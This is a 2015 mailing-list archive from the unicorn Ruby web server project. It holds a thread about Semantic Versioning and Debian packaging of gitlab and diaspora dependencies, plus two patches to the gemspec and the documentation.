0 siblings, 0 replies; 200+ results
From: Pirate Praveen @ 2015-10-01 11:18 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
[dropping jhass]
He says "It's probably just conflicting opinion, distributing Ruby
applications to untrained people is still uncommon"
On Thursday 01 October 2015 10:26 AM, Pirate Praveen wrote:
> [copying jhass, maintainer of diaspora]
>
> jhass, they prefer email to issue tracker so I copied you here.
>
> You can see the complete discussion here
> http://bogomips.org/unicorn-public/560A31F1.3060608%40debian.org/t/#u
>
> On Thursday 01 October 2015 01:21 AM, Eric Wong wrote:
>> Pirate Praveen <praveen@debian.org> wrote:
>>> Can you mention the recommended way of adding unicorn in a
>>> Gemfile in your home page?
>
>> I'm not very knowledgeable about bundler, but app servers
>> probably should not be in any packaged Gemfile at all.
>
> May be jhass can explain the rationale for adding unicorn to
> Gemfile better.
jhass: "Adding unicorn to the Gemfile eases installation by taking a
step out of it, allows site local installation of it
(--path/--deployment) and ensures the right version so our
integrations (config/unicorn.rb, config/eye.rb, script/server) don't
break."
With debian packaging, our aim is to get a user setup an application
like gitlab or diaspora, just using the package manager they are
already familiar with. They don't have to know what language it is
written, what framework or application server or what database it is
using, all they are interested is the application specific configuration
.
How much compatibility we can expect for config/unicorn.rb?
>>> gitlab and diaspora has unicorn in their Gemfile, for a user
>>> they want gitlab or diaspora and they don't care if its using
>>> unicorn or puma or passenger.
>>>
>>> I need some kind of an official statement about compatibility
>>> which I can show to projects like gitlab and diaspora, so they
>>> don't insist on exact patch release of unicorn. I could patch
>>> the Gemfile, but that adds extra burden on me as a maintainer
>>> which I'd like to avoid if possible.
>
>> "Official statements" do not have much weight behind them;
>> history does.
>
>> They can look at the git history (especially that of manpages and
>> documentation) to see the only feature removals were for
>> undocumented cruft.
>
> jhass, can we relax unicorn dependency to ~> 4.9?
>
>> Personally, I intensely dislike "official" things; so people
>> shouldn't take what I (or anybody) writes as gospel.
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
iQIcBAEBCAAGBQJWDRZyAAoJEM4fnGdFEsIq+HsP/1T373t8YXTm0e+EAwJxcGaH
SpSdhDrZGcz9oI3vmwx8N1dX86/28hZzU5TEwi/xB4KN/Xzd+fZwTp1lpwTMcEI9
rSUPnknDo8FatT17fg6B99RmB30uIRbIgVgzfUIj30LL0bGC0ulVlVZEZ95jURb4
YVwXuxgRUH5gV7Ql/LpkBnnTni6kgy9Jsrq7ShaaxGNY2NsMrV3hAeN2aSuSJNU/
jUOZCjXzoDKdGS/pfdPTOdAHVSzKtnJ9cZhktBPbSmvHrJ0Zx7Di6zG8TJAQO+EG
n3qlR/ghke4MzNWIprVcqxH37ML6ww913UBCyVRGNOtU+c2/sEd+AlyIjBIzRK9n
Nq5jpcAd5doJHgfIesTxWSX4QhjH6XPqPpbMvIFEwHHpiv8lNi/+Rp5mTFAHiEJY
zEQCSOQmOBiLY56q/e/OVnK+L+6s9gCxYkynzsmgfrJ0HjBd9DNENMpKgboUj3sN
8I+CqerNq3h4lSvnAyb9pdUiAmSv+uD4aMXtgCltWlcC2cNQL51w6OKBO8+hKMuw
uKFihtyUkSD/51e4vmx5lVmz0+7vXPY1CyezbreX50V/zJcYMhJy0Cg42L+BGEWu
8lqrLxoCxua7j5p+hya1D0xuCvQ9eVKmfA2oXwJ7ChR6ZdACMfV6vn47UzYXIyBk
7HbtK7HFc7QVuC3Xg/e8
=JLvl
-----END PGP SIGNATURE-----
^ permalink raw reply [relevance 4%]
* Re: Request to follow SemVer/mention it in homepage
@ 2015-10-01 4:56 3% ` Pirate Praveen
2015-10-01 11:18 4% ` Pirate Praveen
0 siblings, 1 reply; 200+ results
From: Pirate Praveen @ 2015-10-01 4:56 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public, Jonne Haß
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
[copying jhass, maintainer of diaspora]
jhass, they prefer email to issue tracker so I copied you here.
You can see the complete discussion here
http://bogomips.org/unicorn-public/560A31F1.3060608%40debian.org/t/#u
On Thursday 01 October 2015 01:21 AM, Eric Wong wrote:
> Pirate Praveen <praveen@debian.org> wrote:
>> Can you mention the recommended way of adding unicorn in a
>> Gemfile in your home page?
>
> I'm not very knowledgeable about bundler, but app servers probably
> should not be in any packaged Gemfile at all.
May be jhass can explain the rationale for adding unicorn to Gemfile
better.
>> gitlab and diaspora has unicorn in their Gemfile, for a user they
>> want gitlab or diaspora and they don't care if its using unicorn
>> or puma or passenger.
>>
>> I need some kind of an official statement about compatibility
>> which I can show to projects like gitlab and diaspora, so they
>> don't insist on exact patch release of unicorn. I could patch the
>> Gemfile, but that adds extra burden on me as a maintainer which
>> I'd like to avoid if possible.
>
> "Official statements" do not have much weight behind them; history
> does.
>
> They can look at the git history (especially that of manpages and
> documentation) to see the only feature removals were for
> undocumented cruft.
jhass, can we relax unicorn dependency to ~> 4.9?
> Personally, I intensely dislike "official" things; so people
> shouldn't take what I (or anybody) writes as gospel.
>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
iQIcBAEBCAAGBQJWDLz7AAoJEM4fnGdFEsIqN5MQAKEWGiI3IBfOYmquIplkG/7E
5gohMKsCDJlj6lgqaPIHzvekIW7ssNlxKv9cmeA/v+uNNCKZw6OEw4dmkfJHq5VV
mQ+bBCKkymTFR7ZrIWIs43D0E4To4Sf5LD6MpECiQI1MypFoy66rl0FqJR9PQcF0
nPqcI8LDEICePZwgPdeRrTrS4vCfr4U+BmQWuYovIjwAGEoslnNeblKE+q4LcnGu
09XWelo8eYL62EI6XB92KWCFx0isiEBGQK0PzLqZUbWz17Y7kNMxeAnfmPZQFoe5
4qI7SEtSusFU3OW2t6Eyj6/bh+hP7W2jtMnub+B+QBBUqjf50WV0p4FqUUXMzheS
wDJbtVdYNbNO4f6cWLMVGC18jOVzJw86luc+QoxptTCShku+gFROrkA4w+ciHpNk
2x92Z/S2ejYZlJKGhH97KqMe2gAKgikwYk2zgjSLtpxxrAPiE2nP3tX5KKOG7BNO
iUPdftzLD04oEr21QMb/gRpCEP0f8zsECK/vkpB4VjfjM9HhgEDJZzOfOTvHs04b
avILU6iTUQkSMcWhtdp8bxsifhD+sSjhThWbbMyomV9LdjVBf9gf3J4pzTALT5Rf
rc+V0Gf+dScHpSFMphY7Y7vKuS/PjKvLq1qD2rAsOtDVPDxVT99HsVTUUNR6lAY0
eHegzfNqE/oqHosK1dLN
=AglS
-----END PGP SIGNATURE-----
^ permalink raw reply [relevance 3%]
* Re: Request to follow SemVer/mention it in homepage
2015-09-29 19:36 0% ` Eric Wong
@ 2015-09-30 16:04 3% ` Pirate Praveen
0 siblings, 1 reply; 200+ results
From: Pirate Praveen @ 2015-09-30 16:04 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
On Wednesday 30 September 2015 01:06 AM, Eric Wong wrote:
> Pirate Praveen <praveen@debian.org> wrote:
>> On २९ सप्टेंबर, २०१५ १:०६:५० [PM] IST, Eric Wong <e@80x24.org>
>> wrote:
>>> Pirate Praveen <praveen@debian.org> wrote:
>>>> Do you follow Semantic Versioning as defined by semver.org?
>>>> If yes, can you mention it on the homepage? If not, can you
>>>> consider it?
>
> <snip>
>
>>> I have considered it in the past, but decided against it...
>>>
>>> unicorn is on the verge of becoming 5.x:
>>>
>>> This is for internal changes which some weirdo projects
>>> (notably Rainbows!) rely on; but was never considered public
>>> API or marketed as such. I absolutely do not want people
>>> building server-specific apps when Rack exists.
>>
>> Can you consider SemVer from 5.x?
>
> Again, the answer is "no". I do not want people to depend on
> unicorn providing a stable API of any sort. Even if in practice
> and history it does: the config file directives and internal
> constant names haven't changed at all in 5-6 years and there are
> no plans to change it.
Can you mention the recommended way of adding unicorn in a Gemfile in
your home page?
gitlab and diaspora has unicorn in their Gemfile, for a user they want
gitlab or diaspora and they don't care if its using unicorn or puma or
passenger.
I need some kind of an official statement about compatibility which I
can show to projects like gitlab and diaspora, so they don't insist on
exact patch release of unicorn. I could patch the Gemfile, but that
adds extra burden on me as a maintainer which I'd like to avoid if
possible.
>>> Regardless of a formalities such as semver, I'll work to
>>> ensure unicorn can be compatible[1] with any Rack apps in
>>> Debian main. Heck, perhaps Rack 0.9.x still works (assuming
>>> the installed Ruby version supports it).
>>>
>>> Just let us know what real problems you find, they will be
>>> fixed.
>>
>> If you can convince gitlab to declare ~> 4.8 and assure it will
>> work with 4.9, that will solve the issue for now.
>>
>> See https://gitlab.com/gitlab-org/gitlab-ce/issues/2820
>
> That's not a real compatibility bug with unicorn itself. Again,
> it's wrong of them to have a dependency on any Rack server at all.
>
>> Also if you can help convinse diaspora upstream to declare a
>> looser dependency, that will also help.
>>
>>> Fwiw, Debian is my preferred platform and I can stay 100%
>>> within email with the Debian BTS + lists.
>
> I am only doing plain-text email. I'm done with websites requiring
> login + registration.
>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
iQIcBAEBCAAGBQJWDAf9AAoJEM4fnGdFEsIqYV0P/AmIFATrnxSF4V5Q5v05LT5G
LcVkXCzMhQYnPaVYwiAEi5JLGkiFw2r2Y5kWgF3WLynXHqWmUpGoNLEsG5tZG38V
109RYYKG5VgsGw6HlIoOwpy61MF9/d29+CRDXvLs0q7wc1/CbDEYqnhwLvKKOT9o
xZBD3bXsLuXiRl/BR8xk1q5fy4oS0rNnTU4MWcc8pEKU3KFE0xkXqA5WVS3ENShg
WLfqlUnll2SnQwyR1FzqFJws5OzejKpdNRZK1IOD1ivMd8aBVY25+0u6Q3o/2h/J
dW4ID9QV6R1fCtLybKqkI/fwljlKGs+shY+5lvUqE2KSYe8gwyHm6r1DslprzwM6
QhzLXqBtvDxSxX41sbcr12SoEt7poRztr+8gFXqni+iTkoljgsmODQMWX/ed/9O8
AekqfSrA//K1JfUpGKWHr1+UXhijHggYcKi0eoCJA2GH5ijLu5DIglEuGCQtthl9
z4/aI/na1M7goqBKw1Qtuxc/AHlBAkDcsott5n+4FIQInc5ooiyj54+Sek1AZNWw
/pp5F6z3axPgH3+h26Jf4W8OHl58gUeht9G7sl2j5GwMDkVSOtwlgwhLEYWdZ8Mw
pZcDXl/0VieD6LBFEh3N5MfkP+n3aYHrenCbsxRBh/jn6/+wczoUruNYl0SbSgUh
62qZ2q/7NgvHBdVPtXaB
=F2uT
-----END PGP SIGNATURE-----
^ permalink raw reply [relevance 3%]
* Re: Request to follow SemVer/mention it in homepage
2015-09-29 8:00 0% ` Pirate Praveen
@ 2015-09-29 19:36 0% ` Eric Wong
2015-09-30 16:04 3% ` Pirate Praveen
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-09-29 19:36 UTC (permalink / raw)
To: Pirate Praveen; +Cc: unicorn-public
Pirate Praveen <praveen@debian.org> wrote:
> On २९ सप्टेंबर, २०१५ १:०६:५० [PM] IST, Eric Wong <e@80x24.org> wrote:
> >Pirate Praveen <praveen@debian.org> wrote:
> >> Do you follow Semantic Versioning as defined by semver.org? If yes,
> >> can you mention it on the homepage? If not, can you consider it?
<snip>
> >I have considered it in the past, but decided against it...
> >
> >unicorn is on the verge of becoming 5.x:
> >
> >This is for internal changes which some weirdo projects (notably
> >Rainbows!) rely on; but was never considered public API or marketed
> >as such. I absolutely do not want people building server-specific
> >apps when Rack exists.
>
> Can you consider SemVer from 5.x?
Again, the answer is "no". I do not want people to depend on unicorn
providing a stable API of any sort. Even if in practice and history
it does: the config file directives and internal constant names
haven't changed at all in 5-6 years and there are no plans to change it.
> >Regardless of a formalities such as semver, I'll work to ensure unicorn
> >can be compatible[1] with any Rack apps in Debian main.
> >Heck, perhaps Rack 0.9.x still works (assuming the installed Ruby
> >version supports it).
> >
> >Just let us know what real problems you find, they will be fixed.
>
> If you can convince gitlab to declare ~> 4.8 and assure it will work
> with 4.9, that will solve the issue for now.
>
> See https://gitlab.com/gitlab-org/gitlab-ce/issues/2820
That's not a real compatibility bug with unicorn itself. Again, it's
wrong of them to have a dependency on any Rack server at all.
> Also if you can help convinse diaspora upstream to declare a looser
> dependency, that will also help.
>
> >Fwiw, Debian is my preferred platform and I can stay 100% within email
> >with the Debian BTS + lists.
I am only doing plain-text email. I'm done with websites requiring
login + registration.
^ permalink raw reply [relevance 0%]
* Re: Request to follow SemVer/mention it in homepage
2015-09-29 7:36 2% ` Eric Wong
2015-09-29 7:46 3% ` Lin Jen-Shin (godfat)
@ 2015-09-29 8:00 0% ` Pirate Praveen
2015-09-29 19:36 0% ` Eric Wong
1 sibling, 1 reply; 200+ results
From: Pirate Praveen @ 2015-09-29 8:00 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On २९ सप्टेंबर, २०१५ १:०६:५० [PM] IST, Eric Wong <e@80x24.org> wrote:
>Pirate Praveen <praveen@debian.org> wrote:
>> Do you follow Semantic Versioning as defined by semver.org? If yes,
>> can you mention it on the homepage? If not, can you consider it?
>
>Maybe we follow semver...
>
>No, I'd rather not mention it on the homepage or be formally/officially
>bound to it (see below)
>
>I have considered it in the past, but decided against it...
>
>unicorn is on the verge of becoming 5.x:
>
>This is for internal changes which some weirdo projects (notably
>Rainbows!) rely on; but was never considered public API or marketed
>as such. I absolutely do not want people building server-specific
>apps when Rack exists.
Can you consider SemVer from 5.x?
>Rack will also hit 2.x soon, but regardless of incompatible changes
>in Rack, unicorn must remain compatible with both 1.x and 2.x for
>practical reasons.
>
>> It will help us a lot in maintain rails applications in debian. We
>> like to keep only one version of any app/lib in debian and if you can
>> guarantee Semantic Versioning rails apps using unicorn could declare
>a
>> looser dependency rather than upto the patch version. Now gitlab
>> defines unicorn ~> 4.8.3 and diaspora defines ~> 4.9.0 If you are
>> following Semantic Versioning they could change it to ~> 4.8 and ~>
>> 4.9 and 4.9.0 will satisfy both. Currently debian has 4.9.0 and it
>> does not match ~> 4.8.3
>
>Tying a Rack app to unicorn is totally, completely wrong and defeats
>the
>point of Rack.
>
>Honestly, I could understand tying an app to thin with it's EM-specific
>API, but unicorn(!?!?) Even if an app isn't thread-safe, it should
>still work in passenger, thin, or puma/webrick configured for a
>single-thread...
>
>
>Regardless of a formalities such as semver, I'll work to ensure unicorn
>can be compatible[1] with any Rack apps in Debian main.
>Heck, perhaps Rack 0.9.x still works (assuming the installed Ruby
>version supports it).
>
>Just let us know what real problems you find, they will be fixed.
If you can convince gitlab to declare ~> 4.8 and assure it will work with 4.9, that will solve the issue for now.
See https://gitlab.com/gitlab-org/gitlab-ce/issues/2820
Also if you can help convinse diaspora upstream to declare a looser dependency, that will also help.
>Fwiw, Debian is my preferred platform and I can stay 100% within email
>with the Debian BTS + lists.
Glad to know.
>
>[1] I would never say unicorn is the best choice for all apps,
> but it should at least limp along with sufficiently loose
> definitions of "working", perhaps with hundreds of inefficient
> processes in some cases.
--
Sent from my Android device with K-9 Mail. Please excuse my brevity.
^ permalink raw reply [relevance 0%]
* Re: Request to follow SemVer/mention it in homepage
2015-09-29 7:36 2% ` Eric Wong
@ 2015-09-29 7:46 3% ` Lin Jen-Shin (godfat)
2015-09-29 8:00 0% ` Pirate Praveen
1 sibling, 0 replies; 200+ results
From: Lin Jen-Shin (godfat) @ 2015-09-29 7:46 UTC (permalink / raw)
To: Eric Wong; +Cc: Pirate Praveen, unicorn-public
On Tue, Sep 29, 2015 at 3:36 PM, Eric Wong <e@80x24.org> wrote:
> Pirate Praveen <praveen@debian.org> wrote:
[...]
>> It will help us a lot in maintain rails applications in debian. We
>> like to keep only one version of any app/lib in debian and if you can
>> guarantee Semantic Versioning rails apps using unicorn could declare a
>> looser dependency rather than upto the patch version. Now gitlab
>> defines unicorn ~> 4.8.3 and diaspora defines ~> 4.9.0 If you are
>> following Semantic Versioning they could change it to ~> 4.8 and ~>
>> 4.9 and 4.9.0 will satisfy both. Currently debian has 4.9.0 and it
>> does not match ~> 4.8.3
>
> Tying a Rack app to unicorn is totally, completely wrong and defeats the
> point of Rack.
>
> Honestly, I could understand tying an app to thin with it's EM-specific
> API, but unicorn(!?!?) Even if an app isn't thread-safe, it should
> still work in passenger, thin, or puma/webrick configured for a
> single-thread...
I guess the issue is that people need to specify which server they're
using in their Gmefile when bundler is used to launch the application.
I don't think it's a good idea to bind to a specific version though.
Upgrading unicorn never breaks anything for me.
p.s. Personally I never liked the idea of semantic versioning either,
unless there's a clearly defined API like Rack's SPEC.
^ permalink raw reply [relevance 3%]
* Re: Request to follow SemVer/mention it in homepage
2015-09-29 6:38 4% Request to follow SemVer/mention it in homepage Pirate Praveen
@ 2015-09-29 7:36 2% ` Eric Wong
2015-09-29 7:46 3% ` Lin Jen-Shin (godfat)
2015-09-29 8:00 0% ` Pirate Praveen
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2015-09-29 7:36 UTC (permalink / raw)
To: Pirate Praveen; +Cc: unicorn-public
Pirate Praveen <praveen@debian.org> wrote:
> Do you follow Semantic Versioning as defined by semver.org? If yes,
> can you mention it on the homepage? If not, can you consider it?
Maybe we follow semver...
No, I'd rather not mention it on the homepage or be formally/officially
bound to it (see below)
I have considered it in the past, but decided against it...
unicorn is on the verge of becoming 5.x:
This is for internal changes which some weirdo projects (notably
Rainbows!) rely on; but was never considered public API or marketed
as such. I absolutely do not want people building server-specific
apps when Rack exists.
Rack will also hit 2.x soon, but regardless of incompatible changes
in Rack, unicorn must remain compatible with both 1.x and 2.x for
practical reasons.
> It will help us a lot in maintain rails applications in debian. We
> like to keep only one version of any app/lib in debian and if you can
> guarantee Semantic Versioning rails apps using unicorn could declare a
> looser dependency rather than upto the patch version. Now gitlab
> defines unicorn ~> 4.8.3 and diaspora defines ~> 4.9.0 If you are
> following Semantic Versioning they could change it to ~> 4.8 and ~>
> 4.9 and 4.9.0 will satisfy both. Currently debian has 4.9.0 and it
> does not match ~> 4.8.3
Tying a Rack app to unicorn is totally, completely wrong and defeats the
point of Rack.
Honestly, I could understand tying an app to thin with it's EM-specific
API, but unicorn(!?!?) Even if an app isn't thread-safe, it should
still work in passenger, thin, or puma/webrick configured for a
single-thread...
Regardless of a formalities such as semver, I'll work to ensure unicorn
can be compatible[1] with any Rack apps in Debian main.
Heck, perhaps Rack 0.9.x still works (assuming the installed Ruby
version supports it).
Just let us know what real problems you find, they will be fixed.
Fwiw, Debian is my preferred platform and I can stay 100% within email
with the Debian BTS + lists.
[1] I would never say unicorn is the best choice for all apps,
but it should at least limp along with sufficiently loose
definitions of "working", perhaps with hundreds of inefficient
processes in some cases.
^ permalink raw reply [relevance 2%]
* Request to follow SemVer/mention it in homepage
@ 2015-09-29 6:38 4% Pirate Praveen
2015-09-29 7:36 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Pirate Praveen @ 2015-09-29 6:38 UTC (permalink / raw)
To: unicorn-public
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
Hi,
Do you follow Semantic Versioning as defined by semver.org? If yes,
can you mention it on the homepage? If not, can you consider it?
It will help us a lot in maintain rails applications in debian. We
like to keep only one version of any app/lib in debian and if you can
guarantee Semantic Versioning rails apps using unicorn could declare a
looser dependency rather than upto the patch version. Now gitlab
defines unicorn ~> 4.8.3 and diaspora defines ~> 4.9.0 If you are
following Semantic Versioning they could change it to ~> 4.8 and ~>
4.9 and 4.9.0 will satisfy both. Currently debian has 4.9.0 and it
does not match ~> 4.8.3
Thanks
Praveen
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
iQIcBAEBCAAGBQJWCjHxAAoJEM4fnGdFEsIqsLEP/3A/+u8fZu9Pj4feOTH+gj/X
/ziFme3s+QbcEWMzFAyYK6wBE9mHb3BP/iALy3oTHmuPvyMjY5uhszeh/npggRl9
K1mkoCh97c/ri4HE09R90cnuRiYNV/Jh7JFNGUDYcMSBXMYJ0aGJVnBEbMQeQd4p
Gk771D2o4diH5JdLIWHObp2o3t06nG0pjKFexylBuW42RXpaYneCymPVNIZFGavk
6gyVzuM4TEWziokHQJuz36wD8yZ/zrdiOyl7kd2IV0D1mVKoezSfdm6TOQ8t53gV
bYAXBxA8Y7wtMu/8rH8T4xhhtT53JlEtWcXPXRrxM6Afu56oFmWFIKInTXSd12nY
wCfXMlDeirV2774H8MaSJTXvUSjQ5NcbT8JYj8IfS9xjL3aquJCqr2Y4JXYkMRlh
4q/gWsSwhemjAPcqk7fz5Jwj/nC5Zs8FD68apbZosA6SINsRXj9t7sSKgLFqhLcT
uBhdaBwsxtQ49yJfCHF51lD3g7Fd7aeEh8ZYSru6aPyZD81srpX6UU6yIebvsuox
/yEzxz/NLLvxz3k1VepD6he/DKpt0ApT+6HsF5XjxaARLs9s+yy53Oj7srlru/R9
cK4Q/LLW9fLXexFdKU9oenG9L7M9OOgua/Khlwn02g2yM5P7YBQKs/KEtXMNeJra
cFiSbt+EMxSsqo9QlJ1v
=78fV
-----END PGP SIGNATURE-----
^ permalink raw reply [relevance 4%]
* [PATCH] gemspec: limit to 1.9.3 and 2.x
@ 2015-08-22 4:42 6% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-08-22 4:42 UTC (permalink / raw)
To: unicorn-public
It does not look like we'll be compatible with Ruby 3.0 with
the plan for immutable string literals.
However, keep in mind 3.0 is still many years away and
decisions can change, so it would be premature to stop
assuming frozen string literals this year.
ref: https://bugs.ruby-lang.org/issues/11473
---
unicorn.gemspec | 1 +
1 file changed, 1 insertion(+)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 47d5670..23450f5 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,6 +25,7 @@ Gem::Specification.new do |s|
s.files = manifest
s.homepage = Olddoc.config['rdoc_url']
s.test_files = test_files
+ s.required_ruby_version = [ '>= 1.9.3', '< 3.0' ]
# for people that are absolutely stuck on Rails 2.3.2 and can't
# up/downgrade to any other version, the Rack dependency may be
--
EW
^ permalink raw reply related [relevance 6%]
* [PATCH] doc: remove references to old servers
@ 2015-07-15 22:05 6% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-07-15 22:05 UTC (permalink / raw)
To: unicorn-public
They'll continue to be maintained, but we're no longer advertising
them. Also, favor lowercase "unicorn" while we're at it since that
matches the executable and gem name to avoid unnecessary escaping
for RDoc.
---
Application_Timeouts | 6 +++---
KNOWN_ISSUES | 14 +++++++-------
Links | 30 ++++++++++++++----------------
PHILOSOPHY | 6 ------
README | 32 ++++++++++++++++----------------
Sandbox | 2 +-
TUNING | 10 +++++-----
examples/nginx.conf | 21 ++++++++++-----------
ext/unicorn_http/unicorn_http.rl | 2 +-
lib/unicorn.rb | 6 +++---
lib/unicorn/configurator.rb | 24 ++++++++++--------------
lib/unicorn/http_server.rb | 4 ++--
lib/unicorn/socket_helper.rb | 8 +++-----
lib/unicorn/util.rb | 2 +-
lib/unicorn/worker.rb | 4 ++--
15 files changed, 78 insertions(+), 93 deletions(-)
diff --git a/Application_Timeouts b/Application_Timeouts
index 5f0370d..561a1cc 100644
--- a/Application_Timeouts
+++ b/Application_Timeouts
@@ -4,10 +4,10 @@ This article focuses on _application_ setup for Rack applications, but
can be expanded to all applications that connect to external resources
and expect short response times.
-This article is not specific to \Unicorn, but exists to discourage
+This article is not specific to unicorn, but exists to discourage
the overuse of the built-in
{timeout}[link:Unicorn/Configurator.html#method-i-timeout] directive
-in \Unicorn.
+in unicorn.
== ALL External Resources Are Considered Unreliable
@@ -71,7 +71,7 @@ handle network/server failures.
== The Last Line Of Defense
The {timeout}[link:Unicorn/Configurator.html#method-i-timeout] mechanism
-in \Unicorn is an extreme solution that should be avoided whenever
+in unicorn is an extreme solution that should be avoided whenever
possible. It will help catch bugs in your application where and when
your application forgets to use timeouts, but it is expensive as it
kills and respawns a worker process.
diff --git a/KNOWN_ISSUES b/KNOWN_ISSUES
index 1950223..6b80517 100644
--- a/KNOWN_ISSUES
+++ b/KNOWN_ISSUES
@@ -13,7 +13,7 @@ acceptable solution. Those issues are documented here.
* PRNGs (pseudo-random number generators) loaded before forking
(e.g. "preload_app true") may need to have their internal state
- reset in the after_fork hook. Starting with \Unicorn 3.6.1, we
+ reset in the after_fork hook. Starting with unicorn 3.6.1, we
have builtin workarounds for Kernel#rand and OpenSSL::Random users,
but applications may use other PRNGs.
@@ -36,13 +36,13 @@ acceptable solution. Those issues are documented here.
* Under some versions of Ruby 1.8, it is necessary to call +srand+ in an
after_fork hook to get correct random number generation. We have a builtin
- workaround for this starting with \Unicorn 3.6.1
+ workaround for this starting with unicorn 3.6.1
See http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-core/36450
* On Ruby 1.8 prior to Ruby 1.8.7-p248, *BSD platforms have a broken
stdio that causes failure for file uploads larger than 112K. Upgrade
- your version of Ruby or continue using Unicorn 1.x/3.4.x.
+ your version of Ruby or continue using unicorn 1.x/3.4.x.
* Under Ruby 1.9.1, methods like Array#shuffle and Array#sample will
segfault if called after forking. Upgrade to Ruby 1.9.2 or call
@@ -53,12 +53,12 @@ acceptable solution. Those issues are documented here.
* Rails 2.3.2 bundles its own version of Rack. This may cause subtle
bugs when simultaneously loaded with the system-wide Rack Rubygem
- which Unicorn depends on. Upgrading to Rails 2.3.4 (or later) is
+ which unicorn depends on. Upgrading to Rails 2.3.4 (or later) is
strongly recommended for all Rails 2.3.x users for this (and security
reasons). Rails 2.2.x series (or before) did not bundle Rack and are
should be unnaffected. If there is any reason which forces your
application to use Rails 2.3.2 and you have no other choice, then
- you may edit your Unicorn gemspec and remove the Rack dependency.
+ you may edit your unicorn gemspec and remove the Rack dependency.
ref: http://mid.gmane.org/20091014221552.GA30624@dcvr.yhbt.net
Note: the workaround described in the article above only made
@@ -71,9 +71,9 @@ acceptable solution. Those issues are documented here.
set :env, :production
set :run, false
Since this is no longer an issue with Sinatra 0.9.x apps, this will not be
- fixed on our end. Since Unicorn is itself the application launcher, the
+ fixed on our end. Since unicorn is itself the application launcher, the
at_exit handler used in old Sinatra always caused Mongrel to be launched
- whenever a Unicorn worker was about to exit.
+ whenever a unicorn worker was about to exit.
Also remember we're capable of replacing the running binary without dropping
any connections regardless of framework :)
diff --git a/Links b/Links
index 5a586c1..ad05afd 100644
--- a/Links
+++ b/Links
@@ -1,13 +1,13 @@
= Related Projects
-If you're interested in \Unicorn, you may be interested in some of the projects
+If you're interested in unicorn, you may be interested in some of the projects
listed below. If you have any links to add/change/remove, please tell us at
mailto:unicorn-public@bogomips.org!
== Disclaimer
-The \Unicorn project is not responsible for the content in these links.
-Furthermore, the \Unicorn project has never, does not and will never endorse:
+The unicorn project is not responsible for the content in these links.
+Furthermore, the unicorn project has never, does not and will never endorse:
* any for-profit entities or services
* any non-{Free Software}[http://www.gnu.org/philosophy/free-sw.html]
@@ -15,13 +15,13 @@ Furthermore, the \Unicorn project has never, does not and will never endorse:
The existence of these links does not imply endorsement of any entities
or services behind them.
-=== For use with \Unicorn
+=== For use with unicorn
* {Bluepill}[https://github.com/arya/bluepill] -
a simple process monitoring tool written in Ruby
* {golden_brindle}[https://github.com/simonoff/golden_brindle] - tool to
- manage multiple \Unicorn instances/applications on a single server
+ manage multiple unicorn instances/applications on a single server
* {raindrops}[http://raindrops.bogomips.org/] - real-time stats for
preforking Rack servers
@@ -29,27 +29,25 @@ or services behind them.
* {UnXF}[http://bogomips.org/unxf/] Un-X-Forward* the Rack environment,
useful since unicorn is designed to be deployed behind a reverse proxy.
-=== \Unicorn is written to work with
+=== unicorn is written to work with
* {Rack}[http://rack.github.io/] - a minimal interface between webservers
supporting Ruby and Ruby frameworks
* {Ruby}[https://www.ruby-lang.org/en/] - the programming language of
- Rack and \Unicorn
+ Rack and unicorn
-* {nginx}[http://nginx.org/] - the reverse proxy for use with \Unicorn
+* {nginx}[http://nginx.org/] - the reverse proxy for use with unicorn
-* {kgio}[http://bogomips.org/kgio/] - the I/O library written for \Unicorn
+* {kgio}[http://bogomips.org/kgio/] - the I/O library written for unicorn
+ (deprecated and functionality being mainlined into Ruby)
=== Derivatives
-* {Green Unicorn}[http://gunicorn.org/] - a Python version of \Unicorn
+* {Green Unicorn}[http://gunicorn.org/] - a Python version of unicorn
-* {Rainbows!}[http://rainbows.bogomips.org/] - \Unicorn for sleepy
- apps and slow clients (historical).
-
-* {yahns}[http://yahns.yhbt.net/] - like Rainbows!, but with fewer options
- and designed for energy efficiency on idle sites.
+* {yahns}[http://yahns.yhbt.net/] - the complete opposite of unicorn in
+ every imaginable way. Designed for energy efficiency on idle sites.
=== Prior Work
@@ -57,4 +55,4 @@ or services behind them.
unicorn is based on
* {david}[http://bogomips.org/david.git] - a tool to explain why you need
- nginx in front of \Unicorn
+ nginx in front of unicorn
diff --git a/PHILOSOPHY b/PHILOSOPHY
index 18b2d82..feb83d9 100644
--- a/PHILOSOPHY
+++ b/PHILOSOPHY
@@ -137,9 +137,3 @@ unicorn is highly inefficient for Comet/reverse-HTTP/push applications
where the HTTP connection spends a large amount of time idle.
Nevertheless, the ease of troubleshooting, debugging, and management of
unicorn may still outweigh the drawbacks for these applications.
-
-The {Rainbows!}[http://rainbows.bogomips.org/] aims to fill the gap for
-odd corner cases where the nginx + unicorn combination is not enough.
-While Rainbows! management/administration is largely identical to
-unicorn, Rainbows! is far more ambitious and has seen little real-world
-usage.
diff --git a/README b/README
index bd626e9..dc121d3 100644
--- a/README
+++ b/README
@@ -1,10 +1,10 @@
-= Unicorn: Rack HTTP server for fast clients and Unix
+= unicorn: Rack HTTP server for fast clients and Unix
-\Unicorn is an HTTP server for Rack applications designed to only serve
+unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
